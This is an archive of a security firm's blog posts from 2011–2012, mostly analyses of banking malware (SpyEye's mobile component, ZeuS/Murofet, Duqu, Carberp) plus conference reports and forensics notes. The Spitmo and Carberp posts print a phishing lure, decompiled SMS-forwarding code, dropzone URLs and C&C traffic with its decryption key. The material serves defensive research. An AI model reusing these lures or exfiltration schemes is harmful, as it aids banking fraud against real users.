S21sec Security Blog

S21sec detects almost 7,000 vulnerabilities en 2011

2012-03-14T01:31:00.000-07:00

S21sec presents its first ‘Vulnerability Report’ prepared by the Ecrime team integrating the experts of the company in charge of detecting and resolving Internet offences affecting organisations 24 hours a day, 365 days a year. This report gathers the information on vulnerabilities detected by S21sec during this last decade, from 2001 to December 2011, and it intends to build an image of the main threats currently affecting companies and institutions, as well as users.

This ‘Vulnerability Report’ includes all the vulnerabilities detected during the last year. 2011 has been a year marked by the appearance of a large number of high-risk vulnerabilities and the number of vulnerabilities remained relatively constant between months, except for March. The third month of the year registered a high number of vulnerabilities on Apple software which affected a large number of their products, such as iTunes, Safari, Apple IIOS, Mac OSX and iPhones IOS, among others.

We have detected an increase of vulnerabilities during 2011, with growing remote exploitation of vulnerabilities and a sophistication of industry-oriented Trojans such as the case of Stuxnet or Duqu. However, a changing tendency can be observed in browsers where a change can be seen in the exploitation of vulnerabilities from Firefox to Chrome as the latter is reaching the highest market share.

During this year we will still see increasing vulnerabilities to mobile devices with operating systems such as Android or iPhone OS. There are currently 5,600 million mobiles in use (around 77% of the world population has one), amongst which 468 million are Smartphones and this number is estimated to reach 631 million by 2015, thus, logically, the risk of vulnerabilities will also increase to more users and more devices.

This ‘Vulnerability Report’, prepared by the S21sec Ecrime unit, can be downloaded here.

S21sec

A YEAR OF FRAUD (PART I)

2012-01-30T08:14:00.000-08:00

The New Year is the ideal time to present a summary of all that we have seen during 2011. The data that we will present here is related to fraud incidents closed by S21sec's SOC/CERT.

We have acted on 4759 fraud incidents that directly affected our clients, slightly fewer than the number recorded the previous year. The distribution of these incidents can be seen in the following graph.

Once again, the number of phishing related incidents exceeds those related to malicious code. This is mainly due to our clients in Latin America who suffered fewer malicious code incidents.

The following stack chart shows the monthly distribution of all incidents.

Two peaks in the quantity of recorded incidents can clearly be seen. This phenomenon is repeated year after year and usually occurs around holiday periods, when the users are generally more relaxed and less security conscious.

Personally, I feel 2011 has been deceptive, constantly promising major news but failing to deliver. 2010, in contrast, was a remarkable year. It brought with it both new attack methods (MitB, MitMo) and new malicious code families (Tatanga, SpyEye, etc.).

What happened in 2011?

Now that we can review 2011 in its entirety, we could consider it as a transitional year. During 2011 we have seen that the cyber-criminals improved their fraud related methods and tools, but did not introduce any notable innovations.

Could this stagnation be related to the global economic crisis?

It is hard to relate the changes in the fraud typology with economic reality, but there is no doubt that certain aspects have influenced the past few months.

Social engineering attacks, usually made by individuals (not organised), have increased considerably. The costs of preparing this kind of attack are low, which has led to many new individuals (drawn by the chance of rapid returns for minimal investment) entering the scene. This fact is particularly relevant in Latin America, the only place in the world where we have seen an increase in incidents on previous years.

On the other hand, we have the much more complex and expensive malicious code attacks. These are usually made by very well organised mafias with abundant resources. In 2011 we expected SpyEye to takeoff as ZeuS (its main rival) abandoned their development at the end of 2010 and published the source code. However, this did not occur probably because of Spyeye’s elevated price. Furthermore, we have seen how some "gangs" have instead taken advantage of the published ZeuS code to develop new families of malware without having to take on the associated costs.

David Ávila

S21sec ecrime

Tourist Periscope will manage tourist information on the We

2012-01-25T06:50:00.000-08:00

S21sec labs is leading the project Tourist Periscope with the aim of developing the technological solution that will help the tourist sector to detect the different market opportunities and to reduce the strategic decision taking risk by predicting tourist trends.

The Internet is a source of innumerable amounts of information, which often represents a threat for a company as it cannot manage this volume of information or it could mean a business opportunity hard to detect among so much data circulating through the Net.

The exponential increase of information in the tourist sector is translated into serious difficulties for tourist companies, institutions and administrations when managing, identifying and optimising the search for contents of interest for their business.

For this reason, S21sec and thanks to its experience in the development of open-source information classification, indexing and information search technologies, will create the application Tourist Periscope in its R&D centre in security S21sec labs and in cooperation with agents specialised in the tourist sector, from both the academic and corporate environments. This R&D project is framed within the INNPACTO projects of the Ministry of Economy and Competitiveness. The new IT platform will be oriented at the tourist sector and will be able to carry out an efficient information management and rationalisation according to the profile of the client and the purpose that is to be achieved. This new tool is able to carry out analysis of the tourist environment in a customised way and integrated with social networks, generating a Tourist Intelligence unit.

The purpose of Tourist Periscope is to provide companies in the tourist sector with a new user-friendly technological solution to detect the different market opportunities and to reduce the strategic decision taking risk by being ahead of tourist behaviour.

S21sec Marketing Department

New SpyEye Campaign with mobile complement

2012-01-13T03:42:00.000-08:00

More than a year ago we saw for the first time how ZeuS had incorporated a mobile component in an attempt to steal the SMS sent by the banks while making a transfer. Later, SpyEye incorporated the same technique.

Recently, we have seen a new campaign affecting Spanish banks, which urges the user to install a component if their phone is Android. While the first samples came from Symbian and BlackBerry, later versions incorporated Android among its objectives. The widespread use of this platform, along with the ease of developing applications for it, makes it one of the favourite objectives of malware creators.

Infection of a mobile device is not a trivial task, so the user must be tricked, through social engineering, into infecting themselves. For this reason, it is important to understand the risks, as a user who is unaware of the threat that their mobile can be infected, is completely vulnerable to this attack.

In the case in hand, upon visiting the banking entity’s website, an infected computer will try to convince the user to install an application on the mobile phone, making them believe that they are installing a program to secure communications.

Image 1: The user is asked for their phone operating system and phone number (Spanish)

Then comes the verification of the installation, asking for a activation code that the mobile displays once the application is installed.

Image 2: The user confirms an activation code received on their mobile (Spanish)

Finally, a successful installation message is displayed to the user.

Image 3: Application installed successfully – you are now protected (Spanish)

If the mobile is an Android phone, SpyEye simply informs the user that they do not require any further security.

Image 4: Your phone does not require any further security (Spanish)

Despite the fact that many times we have heard the term "SpyEye for Android" incorrectly used, we must be clear that the component that infects mobiles is not a version of SpyEye, as it is not capable of intercepting on-line banking navigation or anything similar. This is a very simple application, able to forward received SMSs to an external server using a simple GET request with the data as parameters. It is a merely a complement, totally unrelated to the malware that infects the computer and it could be used interchangeably with any banking trojan.

As an example of the application’s simplicity, the encryption of the string containing the URI of the dropzone consists solely of swapping the values "=", "-" and "q", as can be seen in the following example, very similar to the original URI.

This means that we are facing a new infection campaign which, from a technical point of view, really adds nothing new, but we must stress that people need to understand this kind of threat to avoid falling into the trap.

Mikel Gastesi

S21sec e-crime

Murofet: Changing to zlib

2012-01-12T08:47:00.000-08:00

Time passes and in the world of malware new threats continue to emerge, but the established threats still continue to evolve and everything points to this continuing.

In this blog, we will once again talk about Zeus and, in particular, the version known as Murofet.

Around June, we discussed the different branches of Zeus. We have seen how the developers have implemented new functionality such as P2P and domain name generation in what is known as Murofet 2.0.

In one of the latest samples received, we saw how something didn’t quite fit with the usual behaviour. This was investigated in greater depth and we have discovered that certain sections, instead of being compressed with UCL, have changed to being compressed with zlib.

Image 1: Use of zlib v 1.2.5

Zeus has evolved considerably. Gone is the time when each botnet did not have its own key and encryption consisted of only a simple xor and little more. Recent developments show the creators increasing maturity. They have stopped trying to reinvent the wheel and have been incorporating already existing cryptographic algorithms, much more robust than their predecessors, something completely logical.

If we focus on the gang behind Murofet, in particular, we can see an ongoing development, distinguishing itself ever more from the official version. The changes that have been introduced, step by step, both at the internal level (in terms of the modification of characteristics in the configuration file’s encryption) and the added characteristics mentioned previously, indicate an in-depth knowledge of the subject.

In addition, we must not forget the detail that the first variant was seen before the source code leaked, which makes it clear that the group behind it have very clear objectives.

We will keep playing.

Jozsef Gegeny and Mikel Gastesi

S21sec e-crime

Murofet v2.0 (ZeuS P2P)

2011-11-21T10:27:00.000-08:00

Following on from the previous post about the ZeuS "ACH transaction canceled" distribution campaign, we now turn to look at the distributed binary.

This is version 2.0 of the Zeus variant known as Murofet. It has come to be named ZeuS P2P, due to some of its characteristics, which make use of this technique.

Of all recent versions, this is most evolved with many modifications from the original version. It is rumoured that this version could come from original author of ZeuS, as the modifications require a deep understanding of the original work.

The relationship to the original Murofet can be clearly seen in the configuration files. They are at the same time different from those of the original ZeuS and yet similar to each other. They have new labels in some sections and an easily detectable feature, the ERCP delimiter, as shown in the following image:

In this variant the trojan uses a P2P structure to obtain the configuration file, which is an interesting modification. To do this, it uses a few incorporated IPs, firstly, and attempts to communicate with them via UDP:

Once in communication with the bots belonging to the P2P network, if a newer version is detected, this will be downloaded, using TCP and its own protocol:

If P2P communication fails, it changes to use domain name generation, as the first Murofet version did.

The storage route, both for the binary and the registry paths, are similar to previous versions, but in this version the configuration file is stored with only RC4 encryption without the XOR layer (also known as VisualEncrypt; logically, because it does not provide any security).

Similarly, there is evidence that the trojan deletes the RC4 key from memory after each use, in a clear attempt to prevent it from being detected.

Finally, the C&C server shown in the configuration file appears to be false, in a clear attempt to mislead and delay any analysis.

In summary, this is a modified version of ZeuS, with very advanced characteristics and changes aimed at protecting itself from automatic analysis of the binary and self preservation against the destruction of the network infrastructure, but without any notable functional changes.

Jozsef Gegeny & Santiago Vicente
S21sec e-crime

New ZeuS distribution campaign: ACH transaction canceled

2011-11-18T04:17:00.000-08:00

Our team has detected a ZeuS trojan distribution by email campaign that has been running for some days. The malicious emails include a link to a supposed report about a cancelled transaction, which is actually an HTML page that loads Javascript code into the victim’s browser. This code tries to exploit different vulnerabilities in Java, Flash and PDF to install ZeuS 2.0 on the system. This is one of the latest versions of ZeuS which uses P2P as part of its infrastructure.

The subject of the emails detected so far is “ACH transaction canceled” and in the body of the mail there is information about a supposed transaction that has been cancelled. If the victim wants further information then they have to visit a link that contains a report about the transaction:

For a few seconds the victim sees a screen indicating that they must wait. Meanwhile 4 scripts, stored on different domains are loaded into user’s browser. They are little more than simple redirections towards the site where the code (that will attempt to perform the exploitation) resides.

There are currently three different domains hosting the malicious content, created on the 2nd, 6th and 9th of November and they resolve to the same IP, located in Russia. This malicious content is obfuscated Javascript code that belongs to the BlackHole exploit kit.

Once the code is “de-obfuscated”, several functions can be seen that attempt to exploit vulnerabilities in various plugins installed in the victim’s browser:

Java (CVE-2010-3552, CVE-2010-0886)

Flash

PDF (CVE-2010-0188, CVE-2009-0927, CVE-2009-4324, CVE-2008-2992, CVE-2007-5659)

Media Player

They all use the same (or very similar) shellcode, whose objective is to download and execute the malicious code in question. In the case of the analyzed shellcode, besides executing the binary, stored on the system with a .dll extension, it launches the application Regsvr32 with the parameter -s (silent mode) to try to register the DLL in the system, although the infection has already taken place (the first call to WinExec in the image below).

As mentioned before, the downloaded binary is a ZeuS (P2P version). In the second part of this post we are giving more details (behaviour, affected entities, etc.). Meanwhile update your applications and don’t click on any suspicious links.

Jose Miguel Esparza
S21sec e-crime
(Blog / Twitter)

DUQU: A new threat

2011-10-24T07:03:00.000-07:00

General Information

According to the report presented by Symantec, this trojan was detected for the first time on the 14th of October and later, on the 7th of September they found samples of the driver uploaded to VirusTotal.

According to Symantec, this could herald an attack similar to Stuxnet, written by the authors themselves or at least by programmers with access to the source code. However, this Trojan contains code related to industrial control systems.

The main objective of this new threat is to get information about ICS (industrial control systems) manufacturing companies, to help prepare for a subsequent attack against another company.

Duqu is, basically, a RAT (Remote Admin Trojan) that once introduced in a system, functions as a downloader for other trojans. It consists of a Driver, a DLL and a configuration file. These files are installed by another executable that, as yet, has not been identified. This installer registers the driver as a service that must be executed during system startup. Once executed, the driver injects the DLL into the process services.exe and if the injection is made correctly, the DLL extracts other components that are themselves then injected into other processes.

Duqu uses a valid digital certificate that was revoked on the 14th of October. It also waits 15 minutes before activating, once it arrives on a new machine (probably to avoid being detected in a sandbox). It is designed to automatically remove itself after 36 days.

McAfee’s theory is different. They argue that Duqu is being used to steal certificates from CAs in Europe, Africa and Asia, to afterwards be used for signing malicious code.

A Summary of Behaviour

The malware opens a back-door in the infected system which allows the attackers to obtain the following information from the compromised system:

A list of the processes currently executing, the details of the user’s account and domain information.

Names of the drives and related information, such as shared drives.

Screen captures.

Network information (routing tables, shared objects etc.).

Key strokes (Keylogger).

Names of all open windows.

A list of shared resources.

Exploration of files in all drives, including removable drives.

List of all machines in the domain (through NetServerEnum)

Name of the current module, PID, session ID, Windows directory, Temp directory.

Operating System version, including if it is 64-bit or not.

Information about network adapters.

Information about local time, including the time zone.

Finally, the malware sends all the extracted information in encrypted form to a predetermined control panel (206.183.111.97), at the same time allowing the download of more malicious content from the control panel.

Possible clues for detection

Network traffic

Duqu uses the HTTP and HTTPS protocols to communicate with the control panel (C&C) found at the IP 206.183.111.97. This server is located in India, and has been disabled by the ISP (Web Werks WEBWRKS-PHLA1).

Communications within the range of IP addresses 206.53.48-61.* have been reported. It is highly recommended that communication device logs are reviewed for communications with this IP or any IP within the indicated range.

Detection on infected machines

Symantec has provided the following hashes and file names that have been identified as part of the threat.

MD5	Name	Purpose
0a566b1616c8afeef214372b1a0580c7	cmi4432.pnf	Principal DLL
94c4ef91dfcd0c53a96fdc387f9f9c35	netp192.pnf	Configuration File
e8d6b4dadb96ddb58775e6c85b10b6cc	cmi4464.PNF	Configuration File
b4ac366e24204d821376653279cbad86	netp191.PNF	Principal DLL
4541e850a228eb69fd0f0e924624b245	cmi4432.sys	Driver
0eecd17c6c215b358b7b872b74bfd800	jminet7.sys	Driver
9749d38ae9b9ddd81b50aad679ee87ec	[TEMP FILENAME]	Infostealer
c9a31ea148232b201fe7cb7db5c75f5e	Dropper

Duqu drivers have also been detected using the following file names which were not included in the Symantec report:

nfrd965.sys

adpu321.sys

The driver load is performed by adding some of the following keys to the Windows registry:

HKEY _ LOCAL _ MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cmi4432

The detection of these entries in the registry of a Windows system is a clear indication that the machine is infected by Duqu.

S21sec e-crime team

Spitmo control panel

2011-09-21T06:42:00.001-07:00

Last week, we analysed the behaviour of the mobile module used by Spyeye to redirect the victim’s SMSs to the attacker. We have now observed that a panel is used to receive the data collected by the malware, where all received messages are recovered in a simple and clear manner.

The panel that we have located is written entirely in Russian, and has only one button, to refresh the displayed data. It is very simple and its purpose is only to display the data quickly. It is important to mention that on the same host where the panel was housed there was also a SpyEye panel. The two did not appear to be related to each other, but the malware used that same URL as a dropzone.

Below you can see a simulated request, showing the behaviour of the panel and the information it would display:

The process would be as follows, the attacker performs a transfer using the banking data stolen from the user infected with the Spitmo. The moment that the Bank performs a check to see that the transaction is valid it sends an SMS to the mobile phone of the infected user. This SMS is intercepted by malware and forwarded to the panel. Almost instantly, the attacker is in possession of a valid token to carry out the transaction.

The process can be carried out without raising suspicion as it is completely transparent to the user.

All this raises doubts about how safe we are using a device that is continually interacting with the internet and over which we do not have full control of what it is doing in every moment.

Juan Carlos Montes
S21sec e-crime

SpyEye and Man in the Mobile

2011-09-16T05:18:00.000-07:00

On the 2nd of September, the S21sec e-crime team detected a Spyeye sample actively using a MitMo type fraud scheme against Smartphones with the Android Operating System. The binary does show any noteworthy improvement, but the novelty lies in the injection employed to persuade the victim to install the malicious application on their mobile:
(Translated from Spanish)



With regard to the numerous cases of mobile phone card cloning and theft of money from our clients’ accounts, we are obliged to inform and protect all our clients from this.

To fight against this, we have developed an application that protects your telephone from SMS interception and completely guarantees the security of your mobile telephone. The application functions only on mobile telephones that use the Android platform. The holders of these telephones can now set up the application and have problem free access to their account through Internet banking. Users who do not have mobile phones which work on the Android platform, will be forced to buy them for problem free account access and protection from scammers. Until the application is activated on your mobile telephone, you will not be able to access the account through Internet banking.

It is inconvenient, but it is the only way to permit your money to be kept securely. We understand that not everyone has a telephone based on Android, but only this platform is capable of providing the necessary security against this type of fraud. As soon as you have bought a phone that uses the Android platform, return, once again, into your internet banking to download and activate the application on your phone. After this, access to the account via the Internet will be completely unblocked and you will be able to use it.

Note:

- Important! The telephone number tied to your account (updated for SMS and signatures) must be used on your Android mobile. It is necessary to insert your mobile phone card into the phone that uses Android.

- Telephones based on Android are sold by all mobile telephone sellers in your country. Any model will suffice.

If you have an Android phone or you have bought one already, we ask that you proceed to installing the application on your mobile phone.

We are concerned about your security.

Kind Regards.

Application setup

To set up the application and the security for Internet banking usage, you have to open the browser on your Android mobile phone.

To install the application you must connect to the Internet. If you do not know how to configure the Internet on your phone, please contact your cell phone operator.

1. In your browser’s address bar, enter the following reference to download the application www.##########dad.com/simseg.apk

2. After downloading the application, an arrow should appear pointing downwards in the upper left hand corner of the screen.

3. Open the Warnings after pulling the menu down and start up the application.

4. Once the application is running, press Install. That’s it! The application has been successfully installed on your mobile phone!

5. Now you still need to authorise the telephone in your bank’s security system.

Enter the number 325000 and press call. A 6 digit code should appear on the phone screen.

Type those digits into the field below and that ends the process of activating the application.

The generated code:

As you will appreciate, this time they persuade the victim to visit a link from their mobile phone, to request a 6 digit number provided by the malicious application, to simulate associating the phone to the bank account. In reality, it is a false number that appears hard coded in the source code.



if (!paramIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL"))
return;
if (!paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER").equals("325000"))
return;
Toast.makeText(paramContext, "251340", 0).show();

Subsequently, in communications with the dropzone, it sends the telephone’s MSISDN number. They do not associate the infection of the mobile device with the victim’s PC.

The main function of the malicious application resides in capturing the incoming and outgoing SMSs to then forward them to the attacker. The victim does not receive the SMS messages and they are forwarded directly to the fraudster. Given that there is no association with the previous infection of the PC and/or the victim’s account, it is assumed that previously obtained credentials (through the Trojan) are used to make a fraudulent transfer and receive the mobile token that is immediately forwarded to the victim’s device.

The permissions sought by the Manifest file at application installation time are as follows:

The application is installed as System and is not visible alongside other applications and, although visible in a list of them, would not be easily detected due to the choice of icon and cryptic name:

It has a configuration file called settings.xml as shown below:



<?xml version="1.0" encoding="UTF-8"?>
<settings>
<send value="1"/>
<telephone value="123"/>
<http>
<addr value="http://######af.com/sms/gate.php"/>
<addr value="http://######2.com/sms/gate.php"/>
<addr value="http://######fsaf.com/sms/gate.php"/>
<addr value="http://######fsaffa.com/sms/gate.php"/>
</http>
<tels>
</tels>
</settings>

send: this value indicates whether information will be transmitted via sending to a dropzone, sending an SMS or both (by default configured to send by HTTP GET)
telephone: The destination telephone number (by default fictitious)
http: Addresses where the results are sent.

In addition, for sending by HTTP, a string is prepared and sent to the dropzones in the following format:

dropzone/gate.php?sender=&receiver=&text=.



str1 = ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();
str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();
str3 = arrayOfSmsMessage[0].getMessageBody();
if (this.numbers.size() != 0)
continue;
performAction(str2, str1, str3);

Once sent, the application receives the responses from the server, but does not process them, so we do not believe that the dropzones communicate directly with the application.
Finally, the sending of the SMS from the victim’s phone would be done using the following format: sms_dir_origen : sms_body

S21sec has already taken the appropriate measures to close down the malicious site.

Ismael García & Santiago Vicente
S21sec e-crime

Decrypting Carberp C&C communication

2011-07-12T10:10:00.000-07:00

Carberp is a recently (2010) discovered banking Trojan. Although it is not as well known as the currently dominating banking Trojans, such as ZeuS or SpyEye, we can’t simply ignore it due to its powerful capabilities, which may lead it to greater success in the future. The main characteristics of Carberp are:

It comes with three plugins: MiniAV, StopAV and Passw. MiniAV is a generic mini-antivirus which was designed to kill specific trojans or other uncategorized possibly malicious applications that had been heuristically considered as malware. It includes a disinfection mechanism against ZeuS, Adrenalin, Limbo, Barracuda and BlackEnergy. That a malicious application would contain a built-in mini antivirus is not something new, we have seen it before with Tatanga as well. The plugin StopAV’s purpose is to take out (kill) various antivirus products, meanwhile the plugin Passw contains password stealing functionality for various applications (ftp, pop3, passwords from Window registry…).

It has a very sophisticated installation mechanism which includes remote code injection into the default webbrowser and svchost.exe, and contains a payload which tries to exploit a vulnerability in the operating system (MS08-025). This executes code in the kernel which restores various system hooks used by security applications, thereby concealing the Trojan.

Together with backdoor functionality and HTML injection it is able to perform Man-in-the-Browser type attacks against the victims.

Recent variants of Carberp encrypt communication with the C&C, which makes further observation and monitorization of the trojan a more complex task. A Wireshark extension, customized for this purpose, would come in very handy. You can download it from here together with an example .pcap file, source code also included (however it was probed with 32bit version of Wireshark only).

In the above example we can see the plugin in action as the Trojan received an "updateconfig" command from its C&C server. The installation of the plugin is simple; we just have to put it into the "plugins" directory inside Wireshark’s folder. To verify that the plugin is loaded correctly, we have to check that it appears in the list, in the menu Analyze/Enabled Protocols:

There is one more thing to look at that we have not mentioned yet, the algorithm that Carberp uses to encrypt its traffic:

POST /clssvoarsm.phtm HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: sandravsxpanel.cz.cc

Connection: Close

Content-Type: application/x-www-form-urlencoded

Content-Length: 691

cchq=KRQ55AVXERssj8SabRbGQFPODZUhZxjdZY9QgPAaGwhjb1%2FEqCdQneoEfXMET

LcYNneVMlpNcMSCwEFGLhSABClbFY8G5AZak5JOk4l8JY1UiZzgmSQWdJFmFYFw77u29

7TRAoJWs4k7zgCKRrwudgtxbdiP62OJOiKSyJ0OCd75ZmYKP4uLo1h3nPT%2BNLn2Zdr

amAU31TfsdLmbf4F%2F3lo%2FS3d00bdbzGZC4oYSIu8Ci9Qw6WCISy8LBBX1LFBS3Y7

S5A633XS5GVyylgvwDCPC%2Fsp47pBFRWa%2Bblnq4NkUnkkyszrnFxgxFfO76kVfzSz

FZAC8xcDnkrBMyr%2BRvINHn3PMdf4jGWImLFT%2BN8r8mDSAz%2FFkOJaxi7OlsiH30

6btuph1s0MG%2F1fLnxxBhsRcssrPVB4Q6VP%2BAOUaDLg26n5XhMbHskphPkhDTyIPZ

lc9LPsAfMG4dfd9PhOGzBJFH9kaAb2kC4WDtU%2BnZcuYoH2advviTm9wtcz4ZASW5kx

HPgkVw9uP73fnNEs1QHdGB57V9G57bd2qdmoZ%2BOojFrtOilpizUQ9cxBvl7nGj%2Bs

%2FuAPWVV%2FXOb1tyoMmtHmSY0BqoXzksdaK2%2FDU%2BGUfkDgV95MiLXd%2FG6hXe

5zXAEXH54ji

The first and last four bytes of the message (marked in red) are needed for initialize the decryption and they are randomly generated at each POST. The data between are base64 encoded + RC2 algorithm. Apart from the randomly generated "short" keys which are 8 bytes in total, there is a "long" key which consists of 16 bytes and is hardcoded inside the binary and we need to extract it. Fortunately it is not that hard to spot it:

By taking a memory dump of the malware, loading it into a disassembler we can spot the right function by looking for the hash value "618ADDBEh". It’s not clear the purpose of this hash, most probably this value belongs to a default decryption key. By the way, our "long" key is "rsg7?GhdHB16_Rbf" however we still have to apply a byte XOR with value 05 to get the final wvb2zBmaMG43ZWgc key.

Once we have got the key, we have to pass it to the plugin in order to get it work. Menu Edit/Preferences/Protocols and that’s all, ready to sniff an infected machine ;)

Jozsef Gegeny

S21sec e-crime

ToorCon Seattle 2011

2011-06-29T01:00:00.000-07:00

As I mentioned in the previous post, just after Source Seattle some days ago, the ToorCon (also in Seattle) began. Some speakers took advantage of this to present the same or different presentations at both conferences. Friday the 13th was the opening day, with a small party, but the presentations didn’t begin until the following day. There were thirty talks in total, each delivered in a 15 minute period of time, with a short break for lunch. It was an entire day of presentations, from 8:30 till 10:30, quite a day!

The subject of the talks was very varied, from hacktivism themes through to hard disk recuperation. During the morning we could attend, amongst others, presentations about the use of concurrence in Python for the creation of stronger security tools, an appeal for the real securing of communications, exploit kits, details of the fall of the Rustock botnet by Julia Wolf, how to physically recover a hard drive (a real surgical intervention of a hard disk) and it ended with some interesting thoughts about Bitcoin from Dan Kaminsky: if a normal user does not have the capacity to generate a large amount of bitcoins, because it depends on the capacity of the calculation, who will end up having them all?

The afternoon sessions were no less interesting. In my opinion, the highlights were the discovery of exploitable vulnerabilities in the kernel through emulation, a practical example of telephone social engineering, where you could hear how they obtained data from a real secretary, and one that dealt with the compromise of a domain through a PBX telephone system. Without a doubt, this last one brought more than one person to their feet and received the best applause of all, as its staring point was a telephone system and they managed to query sensitive data from the network systems.

Finally, the closing event took place at a club in the city where people could socialize in the best possible way ;) This wasn’t a conference where you could go and put up a company stand, but a place where you could meet unusual people with a wide knowledge of IT security and share a beer. There is a risk that by the last speech you wouldn’t be paying full attention to the platform, but nothing is perfect, is it? It is another type of conference, very different from Source, but equally recommendable. In summary, the best thing to do is to attend them both ;)

Jose Miguel Esparza
S21sec e-crime

Live Forensics Mac OS X (II)

2011-06-28T05:52:00.000-07:00

Continuing on from last week's post, we are going to look at what's needed to correctly virtualize a physical disk with a Mac OS X operating systems, this time using VMWare.

The following are needed:

Qemu
VMWare Player
Empire EFI (Latest version for Intel processors that includes the generic and Legacy versions)

We use VMWare Player since it is a free solution and given that, in this case, it has no EFI support, we will use the alternative Empire EFI boot system. Empire EFI is no more than an ISO that can serve as a boot disk for Mac OS X systems that make use of the Chameleon bootloader.

Firstly, the image of the physical disk obtained beforehand is converted to an image compatible with VMWare using Qemu in the following way:

 $sudo qemu-img convert –f raw imagen.dd –O vmdk imagen.vmdk

Then we need to generate a configuration (.vmx) file associated with the above file. To do that we create a text file with a .vmx extension and we add something like the following:

#!/usr/bin/vmware
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "7"
numvcpus = "4"
cpuid.coresPerSocket = "4"
scsi0.present = "TRUE"
scsi0.virtualDev = "lsilogic"
memsize = "2048"
ide0:0.present = "TRUE"
ide0:0.fileName = "imagen.vmdk"
ide1:0.present = "TRUE"
ide1:0.autodetect = "TRUE"
ide1:0.deviceType = "cdrom-image"
floppy0.startConnected = "FALSE"
floppy0.fileName = ""
floppy0.autodetect = "TRUE"
ethernet0.present = "TRUE"
ethernet0.connectionType = "nat"
ethernet0.virtualDev = "e1000"
ethernet0.wakeOnPcktRcv = "FALSE"
ethernet0.addressType = "generated"
usb.present = "TRUE"
ehci.present = "TRUE"
sound.present = "TRUE"
sound.fileName = "-1"
sound.autodetect = "TRUE"
pciBridge0.present = "TRUE"
pciBridge4.present = "TRUE"
pciBridge4.virtualDev = "pcieRootPort"
pciBridge4.functions = "8"
pciBridge5.present = "TRUE"
pciBridge5.virtualDev = "pcieRootPort"
pciBridge5.functions = "8"
pciBridge6.present = "TRUE"
pciBridge6.virtualDev = "pcieRootPort"
pciBridge6.functions = "8"
pciBridge7.present = "TRUE"
pciBridge7.virtualDev = "pcieRootPort"
pciBridge7.functions = "8"
vmci0.present = "TRUE"
roamingVM.exitBehavior = "go"
displayName = "Mac OS X"
guestOS = "darwin"
nvram = "imagen.nvram"
virtualHW.productCompatibility = "hosted"
extendedConfigFile = "imagen.vmxf"
ide1:0.fileName = "LegacyBootCD.iso"
ethernet0.generatedAddress = "00:0c:29:bc:86:69"
uuid.location = "56 4d c6 30 f2 64 ca 05-a7 fd bc ba bb bc 86 69"
uuid.bios = "56 4d c6 30 f2 64 ca 05-a7 fd bc ba bb bc 86 69"
cleanShutdown = "TRUE"
replay.supported = "FALSE"
replay.filename = ""
ide0:0.redo = ""
pciBridge0.pciSlotNumber = "17"
pciBridge4.pciSlotNumber = "21"
pciBridge5.pciSlotNumber = "22"
pciBridge6.pciSlotNumber = "23"
pciBridge7.pciSlotNumber = "24"
scsi0.pciSlotNumber = "16"
usb.pciSlotNumber = "32"
ethernet0.pciSlotNumber = "33"
sound.pciSlotNumber = "34"
ehci.pciSlotNumber = "35"
vmci0.pciSlotNumber = "36"
vmotion.checkpointFBSize = "16973824"
ethernet0.generatedAddressOffset = "0"
vmci0.id = "771566075"
tools.syncTime = "FALSE"
isolation.tools.hgfs.disable = "TRUE"
sharedFolder.maxNum = "1"
usb:0.present = "TRUE"
usb:1.present = "TRUE"
usb:1.deviceType = "hub"
usb:0.deviceType = "mouse"
checkpoint.vmState = ""
sharedFolder0.present = "FALSE""

Where...

ide0:0.fileName = The name of our VMWare image.
displayName = The name given to the virtual machine.
extendedConfigFile = The name that you want to give to the extended configuration file (Auto-generated).
nvram = The name that you want to give to the Virtual Machine's memory file. (Auto-generated).
ide1:0.fileName = The name of the .iso file of the loader of Empire EFI boot, downloaded beforehand.

It’s worth mentioning, that all the previous files need to be in the same directory.

Once this point is reached, start up the VMWare Player and open the previously created .vmx file. As the machine starts up, press the ESC key to select the boot unit and choose CD-ROM (If we press F2 we will enter the BIOS setup and could select this option permanently).

Finally, once the bootloader menu is loaded, select the "mac" option and now we can proceed with the online analysis of the system.

As a final note, our tests have been made with a Mac OS X 10.6.4 system image and it was necessary to use the Legacy version of Empire EFI for VMWare Player.

Live Forensics Mac OS X (I)

Live Forensics Mac OS X (II)

Santiago Vicente
S21sec e-crime

Source Seattle 2011

2011-06-27T08:36:00.000-07:00

Some days ago, Source Seattle (USA) took place. It is the first time it has taken place in Seattle and although the attendance couldn’t match the Boston conference, the atmosphere was magnificent. It began on Tuesday the 14th with an event for the speakers and organizers to get to know each other and enjoy a beer with some tasty Asian cuisine. I was the representative of the S21sec e-crime team with a speech about banking Trojans.

The talks began on Wednesday the 15th and the agenda was divided into two tracks, one dedicated to technical themes and the other centred on the business world. The first day, the following themes (amongst others) were touched on: evaluation of necessary expenses in security, the application of the law in cybercrime matters, threat modelling, forensic memory analysis of Android’s Dalvik Virtual Machine and our speech about the evolution of fraud through banking Trojans.

The objective of the speech was to analyse the changes that including banking Trojans has brought, how their injections have adapted and how they have arrived at a point where the binary family is no longer important and what is really striking, in the success of a malware campaign, is how the cybercriminals are using the binaries. The speech covered one of the latest banking Trojans, Tatanga, and a demo was made showing the different stages of ZeuS Man in the mobile (MitMo). You can download the presentation from this link.

The next day the sessions began early. The first session began during breakfast, at 8am. It was given by the guys from Trustwave. They explained how they had successfully managed the DEFCON network during recent years: Building the DEFCON network, making a sandbox for 10,000 hackers.

There were 12 further presentations, each one interesting. For example, the one given by Jarret Brachman about extremism on the Internet, discussed how the use of point scoring and reputation systems (gamifying) made for more energetic participation in movements.

After this, came others that dealt with post-exploitation in MS-SQL environments, the analysis of malicious code through SIEM systems and the reverse engineering of iPhone applications.

There were four further speeches and from the technical side we could highlight: the security in Mac OS X Enterprise systems and the weakness of some of the protocols and finding devices on the network through HTTP requests. In parallel, in the business track, the themes of PCI Compliance in the Cloud and hiring of security personnel were touched upon.

The conference ended with an event where all attendees and other professionals from the city could get to know each other and debate a wide range of topics. Also, the ToorCon took place this same weekend. So, we could meet some of the attendees and speakers around there, for example, Dan Kaminsky.

